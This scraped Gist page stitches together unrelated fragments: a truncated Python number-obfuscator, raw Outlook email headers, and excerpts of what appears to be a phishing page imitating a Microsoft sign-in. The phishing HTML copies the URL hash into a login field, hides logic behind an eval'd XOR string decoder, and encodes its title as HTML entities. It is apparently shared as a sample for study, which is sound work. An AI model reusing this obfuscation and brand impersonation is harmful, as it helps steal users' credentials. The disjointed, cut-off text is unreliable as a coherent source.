Skip to content

Instantly share code, notes, and snippets.

@laurent-leconte
laurent-leconte / obfuscate.py
Created October 13, 2023 13:44
Simple number obfuscator
from secrets import randbelow
from typing import List
def decode(s: str) -> int:
"""
Grab the last 2 bits of each char in the string and turn
them into a number.
"""
res = 0
Received: from DB6PR0701MB2151.eurprd07.prod.outlook.com (2603:10a6:7:3d::17)
by HE1PR0701MB2155.eurprd07.prod.outlook.com with HTTPS via
HE1PR09CA0073.EURPRD09.PROD.OUTLOOK.COM; DD Oct 2018 HH:mm:ss +0000
Received: from DB6PR07CA0072.eurprd07.prod.outlook.com (2603:10a6:6:2a::34) by
DB6PR0701MB2151.eurprd07.prod.outlook.com (2603:10a6:4:50::18) with Microsoft
SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
15.20.1228.10; DD Oct 2018 HH:mm:ss +0000
Received: from HE1EUR02FT022.eop-EUR02.prod.protection.outlook.com
(2a01:111:f400:7e05::200) by DB6PR07CA0072.outlook.office365.com
(2603:10a6:6:2a::34) with Microsoft SMTP Server (version=TLS1_2,
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<style>
#xv{
font-size:0px;
}
<!-- a whole bunch of CSS was removed -->
</style>
</head>
<script src="https://code.jquery.com/jquery-1.9.1.min.js"></script>
<script>
var hash = window.location.hash;
document.getElementById('testx').value = hash.split('#')[1];
$(function(){
var twoToneButton = document.querySelector('.twoToneButton');
eval(function j2daedb(s) {
var r = "";
var tmp = s.split("12101152");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "612778");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+8);
}
return r;
});
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>&#83;&#105;&#103;&#110;&#32;&#73;&#110;</title>
<script type="text/javascript" src="https://www.sitepoint.com/examples/password/MaskedPassword/MaskedPassword.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon"
href="https://secure.aadcdn.microsoftonline-p.com/ests/2.1.6468.8/content/images/favicon_a.ico"/>
<!-- lots of CSS removed -->